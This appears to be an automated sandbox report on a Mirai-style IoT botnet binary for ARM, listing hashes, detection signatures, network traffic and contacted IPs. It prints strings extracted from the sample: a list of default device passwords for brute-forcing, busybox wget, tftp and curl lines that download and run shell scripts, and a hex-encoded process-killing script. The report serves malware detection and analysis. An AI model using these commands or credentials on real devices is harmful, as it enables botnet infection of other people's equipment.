Linux Analysis Report
la.bot.arm5.elf

Overview

General Information

Sample name: la.bot.arm5.elf
Analysis ID: 1542507
MD5: 7de35247d8b6bf38a0966a6c430d5dd5
SHA1: ed495ea9ad34a16810139f3c8dbd0c505be75eaa
SHA256: 100550ceac8fc63e5631fa57c8d86264454295fb5c7fb176e054ffeefa07f922
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 52
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.arm5.elf ReversingLabs: Detection: 28%
Found strings indicative of a multi-platform dropper
Source: la.bot.arm5.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm5.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm5.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 103.253.147.242 ports 46852,2,4,5,6,8
Source: global traffic TCP traffic: 38.54.122.172 ports 1,2,5,6,7,27651
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:51456 -> 103.253.147.242:46852
Source: global traffic TCP traffic: 192.168.2.13:53140 -> 38.54.122.172:27651
Sample listens on a socket
Source: /tmp/la.bot.arm5.elf (PID: 5431) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443
Source: unknown TCP traffic detected without corresponding DNS query: 219.254.179.189
Source: unknown TCP traffic detected without corresponding DNS query: 219.254.179.189
Source: unknown TCP traffic detected without corresponding DNS query: 98.144.194.132
Source: unknown TCP traffic detected without corresponding DNS query: 98.144.194.132
Source: unknown TCP traffic detected without corresponding DNS query: 12.36.199.25
Source: unknown TCP traffic detected without corresponding DNS query: 12.36.199.25
Source: unknown TCP traffic detected without corresponding DNS query: 75.201.177.48
Source: unknown TCP traffic detected without corresponding DNS query: 75.201.177.48
Source: unknown TCP traffic detected without corresponding DNS query: 12.117.209.174
Source: unknown TCP traffic detected without corresponding DNS query: 12.117.209.174
Source: unknown TCP traffic detected without corresponding DNS query: 140.71.18.17
Source: unknown TCP traffic detected without corresponding DNS query: 140.71.18.17
Source: unknown TCP traffic detected without corresponding DNS query: 85.237.161.106
Source: unknown TCP traffic detected without corresponding DNS query: 50.118.223.198
Source: unknown TCP traffic detected without corresponding DNS query: 85.237.161.106
Source: unknown TCP traffic detected without corresponding DNS query: 50.118.223.198
Source: unknown TCP traffic detected without corresponding DNS query: 209.16.6.229
Source: unknown TCP traffic detected without corresponding DNS query: 209.16.6.229
Source: unknown TCP traffic detected without corresponding DNS query: 22.24.151.107
Source: unknown TCP traffic detected without corresponding DNS query: 22.24.151.107
Source: unknown TCP traffic detected without corresponding DNS query: 27.62.0.80
Source: unknown TCP traffic detected without corresponding DNS query: 151.26.59.120
Source: unknown TCP traffic detected without corresponding DNS query: 27.62.0.80
Source: unknown TCP traffic detected without corresponding DNS query: 169.244.202.81
Source: unknown TCP traffic detected without corresponding DNS query: 20.163.156.170
Source: unknown TCP traffic detected without corresponding DNS query: 151.26.59.120
Source: unknown TCP traffic detected without corresponding DNS query: 169.244.202.81
Source: unknown TCP traffic detected without corresponding DNS query: 213.176.167.104
Source: unknown TCP traffic detected without corresponding DNS query: 20.163.156.170
Source: unknown TCP traffic detected without corresponding DNS query: 34.237.211.135
Source: unknown TCP traffic detected without corresponding DNS query: 3.84.214.197
Source: unknown TCP traffic detected without corresponding DNS query: 213.176.167.104
Source: unknown TCP traffic detected without corresponding DNS query: 34.237.211.135
Source: unknown TCP traffic detected without corresponding DNS query: 162.9.141.133
Source: unknown TCP traffic detected without corresponding DNS query: 3.84.214.197
Source: unknown TCP traffic detected without corresponding DNS query: 171.29.171.168
Source: unknown TCP traffic detected without corresponding DNS query: 67.106.82.14
Source: unknown TCP traffic detected without corresponding DNS query: 162.9.141.133
Source: unknown TCP traffic detected without corresponding DNS query: 126.238.202.91
Source: unknown TCP traffic detected without corresponding DNS query: 171.29.171.168
Source: unknown TCP traffic detected without corresponding DNS query: 109.255.70.120
Source: unknown TCP traffic detected without corresponding DNS query: 67.106.82.14
Source: unknown TCP traffic detected without corresponding DNS query: 126.238.202.91
Source: unknown TCP traffic detected without corresponding DNS query: 56.229.142.248
Source: unknown TCP traffic detected without corresponding DNS query: 160.51.7.177
Source: unknown TCP traffic detected without corresponding DNS query: 109.255.70.120
Source: unknown TCP traffic detected without corresponding DNS query: 135.56.70.126
Source: unknown TCP traffic detected without corresponding DNS query: 56.229.142.248
Source: unknown TCP traffic detected without corresponding DNS query: 170.15.235.120
Source: unknown TCP traffic detected without corresponding DNS query: 160.51.7.177
Source: global traffic DNS traffic detected: DNS query: imaverygoodbadboy.libre
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.arm5.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm5.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 48202 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.arm5.elf (PID: 5433) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal52.troj.linELF@0/0@3/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/238/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/239/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/914/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/240/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/241/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/242/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/244/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/245/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/247/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/802/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/371/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/134/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/816/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5433) File opened: /proc/267/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.arm5.elf (PID: 5431) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm5.elf, 5431.1.00007ffc45994000.00007ffc459b5000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm5.elf
Source: la.bot.arm5.elf, 5431.1.0000564dcfe79000.0000564dcffc7000.rw-.sdmp Binary or memory string: MV!/etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 5431.1.0000564dcfe79000.0000564dcffc7000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 5431.1.00007ffc45994000.00007ffc459b5000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
184.25.7.31
 unknown United States
9829 BSNL-NIBNationalInternetBackboneIN false
159.80.203.94
 unknown Japan 32982 DOE-HQUS false
111.96.236.233
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
101.204.110.211
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
212.240.14.43
 unknown United Kingdom
2529 DEMON-INTERNETNowmaintainedbyCableWirelessWorldwide false
82.83.174.197
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
123.199.244.56
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
137.41.128.32
 unknown United States
721 DNIC-ASBLK-00721-00726US false
186.98.39.54
 unknown Colombia
701 UUNETUS false
154.10.23.28
 unknown Korea Republic of
9578 CJNET-ASCheiljedangCoIncKR false
105.201.53.61
 unknown Egypt
36992 ETISALAT-MISREG false
218.91.243.23
 unknown China
131325 CHINATELECOM-JIANGSU-NANTONG-MANCHINATELECOMJIANGSUprovin false
132.43.115.11
 unknown United States
386 AFCONC-BLOCK1-ASUS false
206.155.37.141
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
181.255.51.97
 unknown Colombia
26611 COMCELSACO false
184.196.87.187
 unknown United States
10507 SPCSUS false
14.66.6.202
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
78.44.192.174
 unknown Czech Republic
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
86.193.110.20
 unknown France
3215 FranceTelecom-OrangeFR false
209.133.72.134
 unknown United States
6461 ZAYO-6461US false
186.250.178.202
 unknown Brazil
53216 CangereOnlineProvedordeInternetLtdaBR false
199.163.235.149
 unknown United States
4152 USDA-1US false
8.236.248.178
 unknown United States
3356 LEVEL3US false
160.51.7.177
 unknown Germany
2381 WISCNET1-ASUS false
181.114.232.226
 unknown Chile
265714 TVCABLEDELSURLTDACL false
113.4.5.132
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
35.174.242.47
 unknown United States
14618 AMAZON-AESUS false
204.31.178.35
 unknown United States
11426 TWC-11426-CAROLINASUS false
63.130.86.165
 unknown United States
1273 CWVodafoneGroupPLCEU false
30.209.212.60
 unknown United States
7922 COMCAST-7922US false
108.208.186.205
 unknown United States
7018 ATT-INTERNET4US false
201.43.167.80
 unknown Brazil
27699 TELEFONICABRASILSABR false
72.137.16.213
 unknown Canada
812 ROGERS-COMMUNICATIONSCA false
54.165.159.115
 unknown United States
14618 AMAZON-AESUS false
63.34.222.243
 unknown United States
16509 AMAZON-02US false
178.167.66.6
 unknown Russian Federation
21453 FLEX-ASRU false
71.232.69.255
 unknown United States
7922 COMCAST-7922US false
97.61.185.95
 unknown United States
22394 CELLCOUS false
33.114.20.102
 unknown United States
2686 ATGS-MMD-ASUS false
146.88.229.105
 unknown United States
1638 MCC-ASN-1US false
129.39.96.114
 unknown United States
2686 ATGS-MMD-ASUS false
221.145.151.146
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
32.215.72.27
 unknown United States
46690 SNET-FCCUS false
17.178.4.9
 unknown United States
714 APPLE-ENGINEERINGUS false
66.196.3.117
 unknown United States
7459 GRANDECOM-AS1US false
222.204.222.102
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
119.236.188.44
 unknown Hong Kong
4760 HKTIMS-APHKTLimitedHK false
195.106.97.98
 unknown United Kingdom
8437 UTA-ASAT false
182.198.89.200
 unknown Korea Republic of
6619 SAMSUNGSDS-AS-KRSamsungSDSIncKR false
151.94.240.23
 unknown Italy
16161 BANCALOMBARDAIT false
107.67.248.20
 unknown United States
7018 ATT-INTERNET4US false
96.106.84.195
 unknown United States
7922 COMCAST-7922US false
135.67.11.176
 unknown United States
18676 AVAYAUS false
200.107.211.31
 unknown Honduras
27912 UNIVERSIDADTECNOLOGICACENTROAMERICANAHN false
66.84.55.176
 unknown United States
17054 AS17054US false
132.222.238.176
 unknown Japan 17516 NTTCOMWARENTTCOMWARECORPORATIONJP false
83.48.102.65
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
166.113.11.25
 unknown United States
19870 CCSDUS false
126.97.241.56
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
204.46.116.105
 unknown United States
14298 EPA-NETUS false
150.205.242.172
 unknown Switzerland
786 JANETJiscServicesLimitedGB false
125.202.84.190
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
148.38.214.187
 unknown United States
6400 CompaniaDominicanadeTelefonosSADO false
70.179.37.252
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
94.226.90.19
 unknown Belgium
6848 TELENET-ASBE false
128.248.79.164
 unknown United States
6200 UIC-ASUS false
154.243.55.28
 unknown Algeria
36947 ALGTEL-ASDZ false
175.180.80.31
 unknown Taiwan; Republic of China (ROC)
4780 SEEDNETDigitalUnitedIncTW false
193.102.193.253
 unknown Germany
21192 DPA-ASDE false
52.72.187.220
 unknown United States
14618 AMAZON-AESUS false
185.35.214.75
 unknown Norway
200168 TELENORINPLINO false
7.63.116.101
 unknown United States
3356 LEVEL3US false
111.23.0.112
 unknown China
56047 CMNET-HUNAN-APChinaMobilecommunicationscorporationCN false
71.162.51.245
 unknown United States
701 UUNETUS false
100.174.231.217
 unknown United States
21928 T-MOBILE-AS21928US false
19.187.183.137
 unknown United States
3 MIT-GATEWAYSUS false
99.196.236.68
 unknown United States
7155 VIASAT-SP-BACKBONEUS false
108.241.243.69
 unknown United States
7018 ATT-INTERNET4US false
72.2.7.78
 unknown Canada
53359 CUBE-NETWORKCA false
189.89.141.163
 unknown Brazil
28186 ITSTELECOMUNICACOESLTDABR false
93.175.235.192
 unknown Ukraine
47889 SUNNET-ASUA false
25.138.148.0
 unknown United Kingdom
7922 COMCAST-7922US false
151.82.125.100
 unknown Italy
1267 ASN-WINDTREIUNETEU false
186.121.22.40
 unknown Colombia
28118 ALTICEDOMINICANASADO false
73.197.201.217
 unknown United States
7922 COMCAST-7922US false
74.126.3.145
